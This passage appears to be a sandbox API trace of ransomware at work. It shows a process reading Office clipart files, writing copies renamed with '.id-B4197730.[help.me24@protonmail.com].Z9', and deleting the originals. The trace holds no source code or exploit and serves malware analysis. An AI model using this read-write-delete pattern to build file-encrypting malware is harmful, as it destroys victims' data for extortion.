	[0081.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString=".xlsx") returned 5
	[0081.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.864] lstrlenW (lpString=".ppt") returned 4
	[0081.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".zip") returned 4
	[0081.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString=".rar") returned 4
	[0081.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString=".bz2") returned 4
	[0081.864] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString=".7z") returned 3
	[0081.864] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".dbf") returned 4
	[0081.864] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".1cd") returned 4
	[0081.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.865] lstrlenW (lpString=".jpg") returned 4
	[0081.865] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.865] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.865] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0081.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.865] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3378) returned 1
	[0081.865] CloseHandle (hObject=0x38c) returned 1
	[0081.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220
	[0081.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.870] GetLastError () returned 0x0
	[0081.870] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xd32, lpOverlapped=0x0) returned 1
	[0081.872] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0081.873] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.873] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.873] SetEndOfFile (hFile=0x388) returned 1
	[0081.873] CloseHandle (hObject=0x388) returned 1
	[0081.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.874] SetEndOfFile (hFile=0x38c) returned 1
	[0081.875] CloseHandle (hObject=0x38c) returned 1
	[0081.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1
	[0081.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.875] lstrlenW (lpString=".doc") returned 4
	[0081.875] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.875] lstrlenW (lpString=".docx") returned 5
	[0081.875] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.875] lstrlenW (lpString=".pdf") returned 4
	[0081.875] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.875] lstrlenW (lpString=".xls") returned 4
	[0081.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.876] lstrlenW (lpString=".xlsx") returned 5
	[0081.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.876] lstrlenW (lpString=".ppt") returned 4
	[0081.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString=".zip") returned 4
	[0081.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.876] lstrlenW (lpString=".rar") returned 4
	[0081.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.876] lstrlenW (lpString=".bz2") returned 4
	[0081.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.876] lstrlenW (lpString=".7z") returned 3
	[0081.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString=".dbf") returned 4
	[0081.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString=".1cd") returned 4
	[0081.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString=".jpg") returned 4
	[0081.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.876] lstrlenW (lpString=".doc") returned 4
	[0081.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.876] lstrlenW (lpString=".docx") returned 5
	[0081.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.877] lstrlenW (lpString=".pdf") returned 4
	[0081.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.877] lstrlenW (lpString=".xls") returned 4
	[0081.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.877] lstrlenW (lpString=".xlsx") returned 5
	[0081.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.877] lstrlenW (lpString=".ppt") returned 4
	[0081.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.877] lstrlenW (lpString=".zip") returned 4
	[0081.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.877] lstrlenW (lpString=".rar") returned 4
	[0081.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.877] lstrlenW (lpString=".bz2") returned 4
	[0081.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.877] lstrlenW (lpString=".7z") returned 3
	[0081.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.877] lstrlenW (lpString=".dbf") returned 4
	[0081.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.877] lstrlenW (lpString=".1cd") returned 4
	[0081.877] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0081.877] lstrlenW (lpString=".jpg") returned 4
	[0081.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.878] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.878] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0081.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.878] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3120) returned 1
	[0081.879] CloseHandle (hObject=0x38c) returned 1
	[0081.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220
	[0081.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.879] GetLastError () returned 0x0
	[0081.879] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xc30, lpOverlapped=0x0) returned 1
	[0081.881] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc40, lpOverlapped=0x0) returned 1
	[0081.882] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.882] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.882] SetEndOfFile (hFile=0x388) returned 1
	[0081.882] CloseHandle (hObject=0x388) returned 1
	[0081.883] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.883] SetEndOfFile (hFile=0x38c) returned 1
	[0081.884] CloseHandle (hObject=0x38c) returned 1
	[0081.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1
	[0081.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.884] lstrlenW (lpString=".doc") returned 4
	[0081.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.884] lstrlenW (lpString=".docx") returned 5
	[0081.884] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.884] lstrlenW (lpString=".pdf") returned 4
	[0081.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.884] lstrlenW (lpString=".xls") returned 4
	[0081.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.884] lstrlenW (lpString=".xlsx") returned 5
	[0081.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.885] lstrlenW (lpString=".ppt") returned 4
	[0081.885] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString=".zip") returned 4
	[0081.885] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString=".rar") returned 4
	[0081.885] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString=".bz2") returned 4
	[0081.885] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.885] lstrlenW (lpString=".7z") returned 3
	[0081.885] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString=".dbf") returned 4
	[0081.885] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString=".1cd") returned 4
	[0081.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString=".jpg") returned 4
	[0081.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.885] lstrlenW (lpString=".doc") returned 4
	[0081.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.885] lstrlenW (lpString=".docx") returned 5
	[0081.885] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.885] lstrlenW (lpString=".pdf") returned 4
	[0081.885] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString=".xls") returned 4
	[0081.885] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString=".xlsx") returned 5
	[0081.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.885] lstrlenW (lpString=".ppt") returned 4
	[0081.885] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.886] lstrlenW (lpString=".zip") returned 4
	[0081.886] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.886] lstrlenW (lpString=".rar") returned 4
	[0081.886] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.886] lstrlenW (lpString=".bz2") returned 4
	[0081.886] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.886] lstrlenW (lpString=".7z") returned 3
	[0081.886] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.886] lstrlenW (lpString=".dbf") returned 4
	[0081.886] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.886] lstrlenW (lpString=".1cd") returned 4
	[0081.886] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0081.886] lstrlenW (lpString=".jpg") returned 4
	[0081.886] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.886] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.886] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0081.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.886] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3026) returned 1
	[0081.886] CloseHandle (hObject=0x38c) returned 1
	[0081.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220
	[0081.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.887] GetLastError () returned 0x0
	[0081.887] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0081.889] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0081.890] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.890] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.890] SetEndOfFile (hFile=0x388) returned 1
	[0081.890] CloseHandle (hObject=0x388) returned 1
	[0081.892] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.892] SetEndOfFile (hFile=0x38c) returned 1
	[0081.893] CloseHandle (hObject=0x38c) returned 1
	[0081.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1
	[0081.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.893] lstrlenW (lpString=".doc") returned 4
	[0081.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.893] lstrlenW (lpString=".docx") returned 5
	[0081.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.893] lstrlenW (lpString=".pdf") returned 4
	[0081.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString=".xls") returned 4
	[0081.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.894] lstrlenW (lpString=".xlsx") returned 5
	[0081.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.894] lstrlenW (lpString=".ppt") returned 4
	[0081.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString=".zip") returned 4
	[0081.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.894] lstrlenW (lpString=".rar") returned 4
	[0081.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString=".bz2") returned 4
	[0081.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString=".7z") returned 3
	[0081.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString=".dbf") returned 4
	[0081.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString=".1cd") returned 4
	[0081.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString=".jpg") returned 4
	[0081.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.894] lstrlenW (lpString=".doc") returned 4
	[0081.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.894] lstrlenW (lpString=".docx") returned 5
	[0081.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.894] lstrlenW (lpString=".pdf") returned 4
	[0081.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
